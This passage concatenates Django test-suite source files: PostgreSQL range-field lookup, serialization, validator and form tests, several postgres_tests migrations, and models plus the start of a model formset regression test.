        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__overlap=NumericRange(3, 8)),
            [self.objs[0], self.objs[1]],
        )

    def test_fully_lt(self):
        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__fully_lt=NumericRange(5, 10)),
            [self.objs[2]],
        )

    def test_fully_gt(self):
        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__fully_gt=NumericRange(5, 10)),
            [],
        )

    def test_not_lt(self):
        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__not_lt=NumericRange(5, 10)),
            [self.objs[1]],
        )

    def test_not_gt(self):
        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__not_gt=NumericRange(5, 10)),
            [self.objs[0], self.objs[2]],
        )

    def test_adjacent_to(self):
        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__adjacent_to=NumericRange(0, 5)),
            [self.objs[1], self.objs[2]],
        )

    def test_startswith(self):
        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__startswith=0),
            [self.objs[0]],
        )

    def test_endswith(self):
        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__endswith=0),
            [self.objs[2]],
        )

    def test_startswith_chaining(self):
        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__startswith__gte=0),
            [self.objs[0], self.objs[1]],
        )


class TestQueryingWithRanges(PostgreSQLTestCase):
    def test_date_range(self):
        objs = [
            RangeLookupsModel.objects.create(date='2015-01-01'),
            RangeLookupsModel.objects.create(date='2015-05-05'),
        ]
        self.assertSequenceEqual(
            RangeLookupsModel.objects.filter(date__contained_by=DateRange('2015-01-01', '2015-05-04')),
            [objs[0]],
        )

    def test_date_range_datetime_field(self):
        objs = [
            RangeLookupsModel.objects.create(timestamp='2015-01-01'),
            RangeLookupsModel.objects.create(timestamp='2015-05-05'),
        ]
        self.assertSequenceEqual(
            RangeLookupsModel.objects.filter(timestamp__date__contained_by=DateRange('2015-01-01', '2015-05-04')),
            [objs[0]],
        )

    def test_datetime_range(self):
        objs = [
            RangeLookupsModel.objects.create(timestamp='2015-01-01T09:00:00'),
            RangeLookupsModel.objects.create(timestamp='2015-05-05T17:00:00'),
        ]
        self.assertSequenceEqual(
            RangeLookupsModel.objects.filter(
                timestamp__contained_by=DateTimeTZRange('2015-01-01T09:00', '2015-05-04T23:55')
            ),
            [objs[0]],
        )

    def test_integer_range(self):
        objs = [
            RangeLookupsModel.objects.create(integer=5),
            RangeLookupsModel.objects.create(integer=99),
            RangeLookupsModel.objects.create(integer=-1),
        ]
        self.assertSequenceEqual(
            RangeLookupsModel.objects.filter(integer__contained_by=NumericRange(1, 98)),
            [objs[0]]
        )

    def test_biginteger_range(self):
        objs = [
            RangeLookupsModel.objects.create(big_integer=5),
            RangeLookupsModel.objects.create(big_integer=99),
            RangeLookupsModel.objects.create(big_integer=-1),
        ]
        self.assertSequenceEqual(
            RangeLookupsModel.objects.filter(big_integer__contained_by=NumericRange(1, 98)),
            [objs[0]]
        )

    def test_float_range(self):
        objs = [
            RangeLookupsModel.objects.create(float=5),
            RangeLookupsModel.objects.create(float=99),
            RangeLookupsModel.objects.create(float=-1),
        ]
        self.assertSequenceEqual(
            RangeLookupsModel.objects.filter(float__contained_by=NumericRange(1, 98)),
            [objs[0]]
        )

    def test_f_ranges(self):
        parent = RangesModel.objects.create(floats=NumericRange(0, 10))
        objs = [
            RangeLookupsModel.objects.create(float=5, parent=parent),
            RangeLookupsModel.objects.create(float=99, parent=parent),
        ]
        self.assertSequenceEqual(
            RangeLookupsModel.objects.filter(float__contained_by=F('parent__floats')),
            [objs[0]]
        )

    def test_exclude(self):
        objs = [
            RangeLookupsModel.objects.create(float=5),
            RangeLookupsModel.objects.create(float=99),
            RangeLookupsModel.objects.create(float=-1),
        ]
        self.assertSequenceEqual(
            RangeLookupsModel.objects.exclude(float__contained_by=NumericRange(0, 100)),
            [objs[2]]
        )


class TestSerialization(PostgreSQLTestCase):
    test_data = (
        '[{"fields": {"ints": "{\\"upper\\": \\"10\\", \\"lower\\": \\"0\\", '
        '\\"bounds\\": \\"[)\\"}", "floats": "{\\"empty\\": true}", '
        '"bigints": null, "timestamps": "{\\"upper\\": \\"2014-02-02T12:12:12+00:00\\", '
        '\\"lower\\": \\"2014-01-01T00:00:00+00:00\\", \\"bounds\\": \\"[)\\"}", '
        '"dates": "{\\"upper\\": \\"2014-02-02\\", \\"lower\\": \\"2014-01-01\\", \\"bounds\\": \\"[)\\"}" }, '
        '"model": "postgres_tests.rangesmodel", "pk": null}]'
    )

    lower_date = datetime.date(2014, 1, 1)
    upper_date = datetime.date(2014, 2, 2)
    lower_dt = datetime.datetime(2014, 1, 1, 0, 0, 0, tzinfo=timezone.utc)
    upper_dt = datetime.datetime(2014, 2, 2, 12, 12, 12, tzinfo=timezone.utc)

    def test_dumping(self):
        instance = RangesModel(
            ints=NumericRange(0, 10), floats=NumericRange(empty=True),
            timestamps=DateTimeTZRange(self.lower_dt, self.upper_dt),
            dates=DateRange(self.lower_date, self.upper_date),
        )
        data = serializers.serialize('json', [instance])
        dumped = json.loads(data)
        for field in ('ints', 'dates', 'timestamps'):
            dumped[0]['fields'][field] = json.loads(dumped[0]['fields'][field])
        check = json.loads(self.test_data)
        for field in ('ints', 'dates', 'timestamps'):
            check[0]['fields'][field] = json.loads(check[0]['fields'][field])
        self.assertEqual(dumped, check)

    def test_loading(self):
        instance = list(serializers.deserialize('json', self.test_data))[0].object
        self.assertEqual(instance.ints, NumericRange(0, 10))
        self.assertEqual(instance.floats, NumericRange(empty=True))
        self.assertIsNone(instance.bigints)
        self.assertEqual(instance.dates, DateRange(self.lower_date, self.upper_date))
        self.assertEqual(instance.timestamps, DateTimeTZRange(self.lower_dt, self.upper_dt))

    def test_serialize_range_with_null(self):
        instance = RangesModel(ints=NumericRange(None, 10))
        data = serializers.serialize('json', [instance])
        new_instance = list(serializers.deserialize('json', data))[0].object
        self.assertEqual(new_instance.ints, NumericRange(None, 10))

        instance = RangesModel(ints=NumericRange(10, None))
        data = serializers.serialize('json', [instance])
        new_instance = list(serializers.deserialize('json', data))[0].object
        self.assertEqual(new_instance.ints, NumericRange(10, None))


class TestValidators(PostgreSQLTestCase):

    def test_max(self):
        validator = RangeMaxValueValidator(5)
        validator(NumericRange(0, 5))
        with self.assertRaises(exceptions.ValidationError) as cm:
            validator(NumericRange(0, 10))
        self.assertEqual(cm.exception.messages[0], 'Ensure that this range is completely less than or equal to 5.')
        self.assertEqual(cm.exception.code, 'max_value')

    def test_min(self):
        validator = RangeMinValueValidator(5)
        validator(NumericRange(10, 15))
        with self.assertRaises(exceptions.ValidationError) as cm:
            validator(NumericRange(0, 10))
        self.assertEqual(cm.exception.messages[0], 'Ensure that this range is completely greater than or equal to 5.')
        self.assertEqual(cm.exception.code, 'min_value')


class TestFormField(PostgreSQLTestCase):

    def test_valid_integer(self):
        field = pg_forms.IntegerRangeField()
        value = field.clean(['1', '2'])
        self.assertEqual(value, NumericRange(1, 2))

    def test_valid_floats(self):
        field = pg_forms.FloatRangeField()
        value = field.clean(['1.12345', '2.001'])
        self.assertEqual(value, NumericRange(1.12345, 2.001))

    def test_valid_timestamps(self):
        field = pg_forms.DateTimeRangeField()
        value = field.clean(['01/01/2014 00:00:00', '02/02/2014 12:12:12'])
        lower = datetime.datetime(2014, 1, 1, 0, 0, 0)
        upper = datetime.datetime(2014, 2, 2, 12, 12, 12)
        self.assertEqual(value, DateTimeTZRange(lower, upper))

    def test_valid_dates(self):
        field = pg_forms.DateRangeField()
        value = field.clean(['01/01/2014', '02/02/2014'])
        lower = datetime.date(2014, 1, 1)
        upper = datetime.date(2014, 2, 2)
        self.assertEqual(value, DateRange(lower, upper))

    def test_using_split_datetime_widget(self):
        class SplitDateTimeRangeField(pg_forms.DateTimeRangeField):
            base_field = forms.SplitDateTimeField

        class SplitForm(forms.Form):
            field = SplitDateTimeRangeField()

        form = SplitForm()
        self.assertHTMLEqual(str(form), '''
            <tr>
                <th>
                <label for="id_field_0">Field:</label>
                </th>
                <td>
                    <input id="id_field_0_0" name="field_0_0" type="text" />
                    <input id="id_field_0_1" name="field_0_1" type="text" />
                    <input id="id_field_1_0" name="field_1_0" type="text" />
                    <input id="id_field_1_1" name="field_1_1" type="text" />
                </td>
            </tr>
        ''')
        form = SplitForm({
            'field_0_0': '01/01/2014',
            'field_0_1': '00:00:00',
            'field_1_0': '02/02/2014',
            'field_1_1': '12:12:12',
        })
        self.assertTrue(form.is_valid())
        lower = datetime.datetime(2014, 1, 1, 0, 0, 0)
        upper = datetime.datetime(2014, 2, 2, 12, 12, 12)
        self.assertEqual(form.cleaned_data['field'], DateTimeTZRange(lower, upper))

    def test_none(self):
        field = pg_forms.IntegerRangeField(required=False)
        value = field.clean(['', ''])
        self.assertIsNone(value)

    def test_rendering(self):
        class RangeForm(forms.Form):
            ints = pg_forms.IntegerRangeField()

        self.assertHTMLEqual(str(RangeForm()), '''
        <tr>
            <th><label for="id_ints_0">Ints:</label></th>
            <td>
                <input id="id_ints_0" name="ints_0" type="number" />
                <input id="id_ints_1" name="ints_1" type="number" />
            </td>
        </tr>
        ''')

    def test_integer_lower_bound_higher(self):
        field = pg_forms.IntegerRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['10', '2'])
        self.assertEqual(cm.exception.messages[0], 'The start of the range must not exceed the end of the range.')
        self.assertEqual(cm.exception.code, 'bound_ordering')

    def test_integer_open(self):
        field = pg_forms.IntegerRangeField()
        value = field.clean(['', '0'])
        self.assertEqual(value, NumericRange(None, 0))

    def test_integer_incorrect_data_type(self):
        field = pg_forms.IntegerRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('1')
        self.assertEqual(cm.exception.messages[0], 'Enter two whole numbers.')
        self.assertEqual(cm.exception.code, 'invalid')

    def test_integer_invalid_lower(self):
        field = pg_forms.IntegerRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['a', '2'])
        self.assertEqual(cm.exception.messages[0], 'Enter a whole number.')

    def test_integer_invalid_upper(self):
        field = pg_forms.IntegerRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['1', 'b'])
        self.assertEqual(cm.exception.messages[0], 'Enter a whole number.')

    def test_integer_required(self):
        field = pg_forms.IntegerRangeField(required=True)
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['', ''])
        self.assertEqual(cm.exception.messages[0], 'This field is required.')
        value = field.clean([1, ''])
        self.assertEqual(value, NumericRange(1, None))

    def test_float_lower_bound_higher(self):
        field = pg_forms.FloatRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['1.8', '1.6'])
        self.assertEqual(cm.exception.messages[0], 'The start of the range must not exceed the end of the range.')
        self.assertEqual(cm.exception.code, 'bound_ordering')

    def test_float_open(self):
        field = pg_forms.FloatRangeField()
        value = field.clean(['', '3.1415926'])
        self.assertEqual(value, NumericRange(None, 3.1415926))

    def test_float_incorrect_data_type(self):
        field = pg_forms.FloatRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('1.6')
        self.assertEqual(cm.exception.messages[0], 'Enter two numbers.')
        self.assertEqual(cm.exception.code, 'invalid')

    def test_float_invalid_lower(self):
        field = pg_forms.FloatRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['a', '3.1415926'])
        self.assertEqual(cm.exception.messages[0], 'Enter a number.')

    def test_float_invalid_upper(self):
        field = pg_forms.FloatRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['1.61803399', 'b'])
        self.assertEqual(cm.exception.messages[0], 'Enter a number.')

    def test_float_required(self):
        field = pg_forms.FloatRangeField(required=True)
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['', ''])
        self.assertEqual(cm.exception.messages[0], 'This field is required.')
        value = field.clean(['1.61803399', ''])
        self.assertEqual(value, NumericRange(1.61803399, None))

    def test_date_lower_bound_higher(self):
        field = pg_forms.DateRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['2013-04-09', '1976-04-16'])
        self.assertEqual(cm.exception.messages[0], 'The start of the range must not exceed the end of the range.')
        self.assertEqual(cm.exception.code, 'bound_ordering')

    def test_date_open(self):
        field = pg_forms.DateRangeField()
        value = field.clean(['', '2013-04-09'])
        self.assertEqual(value, DateRange(None, datetime.date(2013, 4, 9)))

    def test_date_incorrect_data_type(self):
        field = pg_forms.DateRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('1')
        self.assertEqual(cm.exception.messages[0], 'Enter two valid dates.')
        self.assertEqual(cm.exception.code, 'invalid')

    def test_date_invalid_lower(self):
        field = pg_forms.DateRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['a', '2013-04-09'])
        self.assertEqual(cm.exception.messages[0], 'Enter a valid date.')

    def test_date_invalid_upper(self):
        field = pg_forms.DateRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['2013-04-09', 'b'])
        self.assertEqual(cm.exception.messages[0], 'Enter a valid date.')

    def test_date_required(self):
        field = pg_forms.DateRangeField(required=True)
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['', ''])
        self.assertEqual(cm.exception.messages[0], 'This field is required.')
        value = field.clean(['1976-04-16', ''])
        self.assertEqual(value, DateRange(datetime.date(1976, 4, 16), None))

    def test_datetime_lower_bound_higher(self):
        field = pg_forms.DateTimeRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['2006-10-25 14:59', '2006-10-25 14:58'])
        self.assertEqual(cm.exception.messages[0], 'The start of the range must not exceed the end of the range.')
        self.assertEqual(cm.exception.code, 'bound_ordering')

    def test_datetime_open(self):
        field = pg_forms.DateTimeRangeField()
        value = field.clean(['', '2013-04-09 11:45'])
        self.assertEqual(value, DateTimeTZRange(None, datetime.datetime(2013, 4, 9, 11, 45)))

    def test_datetime_incorrect_data_type(self):
        field = pg_forms.DateTimeRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('2013-04-09 11:45')
        self.assertEqual(cm.exception.messages[0], 'Enter two valid date/times.')
        self.assertEqual(cm.exception.code, 'invalid')

    def test_datetime_invalid_lower(self):
        field = pg_forms.DateTimeRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['45', '2013-04-09 11:45'])
        self.assertEqual(cm.exception.messages[0], 'Enter a valid date/time.')

    def test_datetime_invalid_upper(self):
        field = pg_forms.DateTimeRangeField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['2013-04-09 11:45', 'sweet pickles'])
        self.assertEqual(cm.exception.messages[0], 'Enter a valid date/time.')

    def test_datetime_required(self):
        field = pg_forms.DateTimeRangeField(required=True)
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['', ''])
        self.assertEqual(cm.exception.messages[0], 'This field is required.')
        value = field.clean(['2013-04-09 11:45', ''])
        self.assertEqual(value, DateTimeTZRange(datetime.datetime(2013, 4, 9, 11, 45), None))

    @override_settings(USE_TZ=True, TIME_ZONE='Africa/Johannesburg')
    def test_datetime_prepare_value(self):
        field = pg_forms.DateTimeRangeField()
        value = field.prepare_value(
            DateTimeTZRange(datetime.datetime(2015, 5, 22, 16, 6, 33, tzinfo=timezone.utc), None)
        )
        self.assertEqual(value, [datetime.datetime(2015, 5, 22, 18, 6, 33), None])

    def test_model_field_formfield_integer(self):
        model_field = pg_fields.IntegerRangeField()
        form_field = model_field.formfield()
        self.assertIsInstance(form_field, pg_forms.IntegerRangeField)

    def test_model_field_formfield_biginteger(self):
        model_field = pg_fields.BigIntegerRangeField()
        form_field = model_field.formfield()
        self.assertIsInstance(form_field, pg_forms.IntegerRangeField)

    def test_model_field_formfield_float(self):
        model_field = pg_fields.FloatRangeField()
        form_field = model_field.formfield()
        self.assertIsInstance(form_field, pg_forms.FloatRangeField)

    def test_model_field_formfield_date(self):
        model_field = pg_fields.DateRangeField()
        form_field = model_field.formfield()
        self.assertIsInstance(form_field, pg_forms.DateRangeField)

    def test_model_field_formfield_datetime(self):
        model_field = pg_fields.DateTimeRangeField()
        form_field = model_field.formfield()
        self.assertIsInstance(form_field, pg_forms.DateTimeRangeField)


class TestWidget(PostgreSQLTestCase):
    def test_range_widget(self):
        f = pg_forms.ranges.DateTimeRangeField()
        self.assertHTMLEqual(
            f.widget.render('datetimerange', ''),
            '<input type="text" name="datetimerange_0" /><input type="text" name="datetimerange_1" />'
        )
        self.assertHTMLEqual(
            f.widget.render('datetimerange', None),
            '<input type="text" name="datetimerange_0" /><input type="text" name="datetimerange_1" />'
        )
        dt_range = DateTimeTZRange(
            datetime.datetime(2006, 1, 10, 7, 30),
            datetime.datetime(2006, 2, 12, 9, 50)
        )
        self.assertHTMLEqual(
            f.widget.render('datetimerange', dt_range),
            '<input type="text" name="datetimerange_0" value="2006-01-10 07:30:00" />'
            '<input type="text" name="datetimerange_1" value="2006-02-12 09:50:00" />'
        )






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import django.contrib.postgres.fields
from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='CharTextArrayIndexModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('char', django.contrib.postgres.fields.ArrayField(
                    models.CharField(max_length=10), db_index=True, size=100)
                 ),
                ('char2', models.CharField(max_length=11, db_index=True)),
                ('text', django.contrib.postgres.fields.ArrayField(models.TextField(), db_index=True)),
            ],
            options={
            },
            bases=(models.Model,),
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import django.contrib.postgres.fields
from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='IntegerArrayDefaultModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('field', django.contrib.postgres.fields.ArrayField(models.IntegerField(), size=None)),
            ],
            options={
            },
            bases=(models.Model,),
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import django.contrib.postgres.fields
from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('postgres_tests', '0001_initial'),
    ]

    operations = [
        migrations.AddField(
            model_name='integerarraydefaultmodel',
            name='field_2',
            field=django.contrib.postgres.fields.ArrayField(models.IntegerField(), default=[], size=None),
            preserve_default=False,
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models

from ..fields import (
    ArrayField, BigIntegerRangeField, DateRangeField, DateTimeRangeField,
    FloatRangeField, HStoreField, IntegerRangeField, JSONField,
    SearchVectorField,
)
from ..models import TagField


class Migration(migrations.Migration):

    dependencies = [
        ('postgres_tests', '0001_setup_extensions'),
    ]

    operations = [
        migrations.CreateModel(
            name='CharArrayModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('field', ArrayField(models.CharField(max_length=10), size=None)),
            ],
            options={
                'required_db_vendor': 'postgresql',
            },
            bases=(models.Model,),
        ),
        migrations.CreateModel(
            name='DateTimeArrayModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('datetimes', ArrayField(models.DateTimeField(), size=None)),
                ('dates', ArrayField(models.DateField(), size=None)),
                ('times', ArrayField(models.TimeField(), size=None)),
            ],
            options={
                'required_db_vendor': 'postgresql',
            },
            bases=(models.Model,),
        ),
        migrations.CreateModel(
            name='HStoreModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('field', HStoreField(blank=True, null=True)),
            ],
            options={
                'required_db_vendor': 'postgresql',
            },
            bases=(models.Model,),
        ),
        migrations.CreateModel(
            name='OtherTypesArrayModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('ips', ArrayField(models.GenericIPAddressField(), size=None)),
                ('uuids', ArrayField(models.UUIDField(), size=None)),
                ('decimals', ArrayField(models.DecimalField(max_digits=5, decimal_places=2), size=None)),
                ('tags', ArrayField(TagField(), blank=True, null=True, size=None)),
            ],
            options={
                'required_db_vendor': 'postgresql',
            },
            bases=(models.Model,),
        ),
        migrations.CreateModel(
            name='IntegerArrayModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('field', ArrayField(models.IntegerField(), size=None)),
            ],
            options={
                'required_db_vendor': 'postgresql',
            },
            bases=(models.Model,),
        ),
        migrations.CreateModel(
            name='NestedIntegerArrayModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('field', ArrayField(ArrayField(models.IntegerField(), size=None), size=None)),
            ],
            options={
                'required_db_vendor': 'postgresql',
            },
            bases=(models.Model,),
        ),
        migrations.CreateModel(
            name='NullableIntegerArrayModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('field', ArrayField(models.IntegerField(), size=None, null=True, blank=True)),
            ],
            options={
                'required_db_vendor': 'postgresql',
            },
            bases=(models.Model,),
        ),
        migrations.CreateModel(
            name='CharFieldModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('field', models.CharField(max_length=16)),
            ],
            options=None,
            bases=None,
        ),
        migrations.CreateModel(
            name='TextFieldModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('field', models.TextField()),
            ],
            options=None,
            bases=None,
        ),
        migrations.CreateModel(
            name='Scene',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('scene', models.CharField(max_length=255)),
                ('setting', models.CharField(max_length=255)),
            ],
            options=None,
            bases=None,
        ),
        migrations.CreateModel(
            name='Character',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('name', models.CharField(max_length=255)),
            ],
            options=None,
            bases=None,
        ),
        migrations.CreateModel(
            name='Line',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('scene', models.ForeignKey('postgres_tests.Scene', on_delete=models.SET_NULL)),
                ('character', models.ForeignKey('postgres_tests.Character', on_delete=models.SET_NULL)),
                ('dialogue', models.TextField(blank=True, null=True)),
                ('dialogue_search_vector', SearchVectorField(blank=True, null=True)),
                ('dialogue_config', models.CharField(max_length=100, blank=True, null=True)),
            ],
            options={
                'required_db_vendor': 'postgresql',
            },
            bases=None,
        ),
        migrations.CreateModel(
            name='AggregateTestModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('boolean_field', models.NullBooleanField()),
                ('char_field', models.CharField(max_length=30, blank=True)),
                ('integer_field', models.IntegerField(null=True)),
            ]
        ),
        migrations.CreateModel(
            name='StatTestModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('int1', models.IntegerField()),
                ('int2', models.IntegerField()),
                ('related_field', models.ForeignKey(
                    'postgres_tests.AggregateTestModel',
                    models.SET_NULL,
                    null=True,
                )),
            ]
        ),
        migrations.CreateModel(
            name='NowTestModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('when', models.DateTimeField(null=True, default=None)),
            ]
        ),
        migrations.CreateModel(
            name='RangesModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('ints', IntegerRangeField(null=True, blank=True)),
                ('bigints', BigIntegerRangeField(null=True, blank=True)),
                ('floats', FloatRangeField(null=True, blank=True)),
                ('timestamps', DateTimeRangeField(null=True, blank=True)),
                ('dates', DateRangeField(null=True, blank=True)),
            ],
            options={
                'required_db_vendor': 'postgresql'
            },
            bases=(models.Model,)
        ),
        migrations.CreateModel(
            name='RangeLookupsModel',
            fields=[
                ('parent', models.ForeignKey(
                    'postgres_tests.RangesModel',
                    models.SET_NULL,
                    blank=True, null=True,
                )),
                ('integer', models.IntegerField(blank=True, null=True)),
                ('big_integer', models.BigIntegerField(blank=True, null=True)),
                ('float', models.FloatField(blank=True, null=True)),
                ('timestamp', models.DateTimeField(blank=True, null=True)),
                ('date', models.DateField(blank=True, null=True)),
            ],
            options={
                'required_db_vendor': 'postgresql',
            },
            bases=(models.Model,),
        ),
    ]

    pg_94_operations = [
        migrations.CreateModel(
            name='JSONModel',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('field', JSONField(null=True, blank=True)),
            ],
            options={
            },
            bases=(models.Model,),
        ),
    ]

    def apply(self, project_state, schema_editor, collect_sql=False):
        try:
            PG_VERSION = schema_editor.connection.pg_version
        except AttributeError:
            pass  # We are probably not on PostgreSQL
        else:
            if PG_VERSION >= 90400:
                self.operations = self.operations + self.pg_94_operations
        return super(Migration, self).apply(project_state, schema_editor, collect_sql)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations

try:
    from django.contrib.postgres.operations import (
        BtreeGinExtension, CreateExtension, HStoreExtension, TrigramExtension,
        UnaccentExtension,
    )
except ImportError:
    from django.test import mock
    BtreeGinExtension = mock.Mock()
    CreateExtension = mock.Mock()
    HStoreExtension = mock.Mock()
    TrigramExtension = mock.Mock()
    UnaccentExtension = mock.Mock()


class Migration(migrations.Migration):

    operations = [
        BtreeGinExtension(),
        # Ensure CreateExtension quotes extension names by creating one with a
        # dash in its name.
        CreateExtension('uuid-ossp'),
        HStoreExtension(),
        TrigramExtension(),
        UnaccentExtension(),
    ]






from django.db import models
from django.utils.encoding import python_2_unicode_compatible


class User(models.Model):
    username = models.CharField(max_length=12, unique=True)
    serial = models.IntegerField()


class UserSite(models.Model):
    user = models.ForeignKey(User, models.CASCADE, to_field="username")
    data = models.IntegerField()


class UserProfile(models.Model):
    user = models.ForeignKey(User, models.CASCADE, unique=True, to_field="username")
    about = models.TextField()


class ProfileNetwork(models.Model):
    profile = models.ForeignKey(UserProfile, models.CASCADE, to_field="user")
    network = models.IntegerField()
    identifier = models.IntegerField()


class Place(models.Model):
    name = models.CharField(max_length=50)


class Restaurant(Place):
    pass


class Manager(models.Model):
    restaurant = models.ForeignKey(Restaurant, models.CASCADE)
    name = models.CharField(max_length=50)


class Network(models.Model):
    name = models.CharField(max_length=15)


@python_2_unicode_compatible
class Host(models.Model):
    network = models.ForeignKey(Network, models.CASCADE)
    hostname = models.CharField(max_length=25)

    def __str__(self):
        return self.hostname












from __future__ import unicode_literals

from django import forms
from django.forms.formsets import DELETION_FIELD_NAME, BaseFormSet
from django.forms.models import (
    BaseModelFormSet, inlineformset_factory, modelform_factory,
    modelformset_factory,
)
from django.forms.utils import ErrorDict, ErrorList
from django.test import TestCase
from django.utils import six

from .models import (
    Host, Manager, Network, ProfileNetwork, Restaurant, User, UserProfile,
    UserSite,
)


class InlineFormsetTests(TestCase):
    def test_formset_over_to_field(self):
        "A formset over a ForeignKey with a to_field can be saved. Regression for #10243"
        Form = modelform_factory(User, fields="__all__")
        FormSet = inlineformset_factory(User, UserSite, fields="__all__")

        # Instantiate the Form and FormSet to prove
        # you can create a form with no data
        form = Form()
        form_set = FormSet(instance=User())

        # Now create a new User and UserSite instance
        data = {
            'serial': '1',
            'username': 'apollo13',
            'usersite_set-TOTAL_FORMS': '1',
            'usersite_set-INITIAL_FORMS': '0',
            'usersite_set-MAX_NUM_FORMS': '0',
            'usersite_set-0-data': '10',
            'usersite_set-0-user': 'apollo13'
        }
        user = User()
        form = Form(data)
        if form.is_valid():
            user = form.save()
        else:
            self.fail('Errors found on form:%s' % form_set)

        form_set = FormSet(data, instance=user)
        if form_set.is_valid():
            form_set.save()
            usersite = UserSite.objects.all().values()
            self.assertEqual(usersite[0]['data'], 10)
            self.assertEqual(usersite[0]['user_id'], 'apollo13')
        else:
            self.fail('Errors found on formset:%s' % form_set.errors)

        # Now update the UserSite instance
        data = {
            'usersite_set-TOTAL_FORMS': '1',
            'usersite_set-INITIAL_FORMS': '1',
            'usersite_set-MAX_NUM_FORMS': '0',
            'usersite_set-0-id': six.text_type(usersite[0]['id']),
            'usersite_set-0-data': '11',
            'usersite_set-0-user': 'apollo13'
        }
        form_set = FormSet(data, instance=user)
        if form_set.is_valid():
            form_set.save()
            usersite = UserSite.objects.all().values()
            self.assertEqual(usersite[0]['data'], 11)
            self.assertEqual(usersite[0]['user_id'], 'apollo13')
        else:
            self.fail('Errors found on formset:%s' % form_set.errors)

        # Now add a new UserSite instance
        data = {
            'usersite_set-TOTAL_FORMS': '2',
            'usersite_set-INITIAL_FORMS': '1',
            'usersite_set-MAX_NUM_FORMS': '0',
            'usersite_set-0-id': six.text_type(usersite[0]['id']),
            'usersite_set-0-data': '11',
            'usersite_set-0-user': 'apollo13',
            'usersite_set-1-data': '42',
            'usersite_set-1-user': 'apollo13'
        }
        form_set = FormSet(data, instance=user)
        if form_set.is_valid():
            form_set.save()
            usersite = UserSite.objects.all().values().order_by('data')
            self.assertEqual(usersite[0]['data'], 11)
            self.assertEqual(usersite[0]['user_id'], 'apollo13')
            self.assertEqual(usersite[1]['data'], 42)
            self.assertEqual(usersite[1]['user_id'], 'apollo13')
        else:
            self.fail('Errors found on formset:%s' % form_set.errors)

    def test_formset_over_inherited_model(self):
        "A formset over a ForeignKey with a to_field can be saved. Regression for #11120"
        Form = modelform_factory(Restaurant, fields="__all__")
        FormSet = inlineformset_factory(Restaurant, Manager, fields="__all__")

        # Instantiate the Form and FormSet to prove
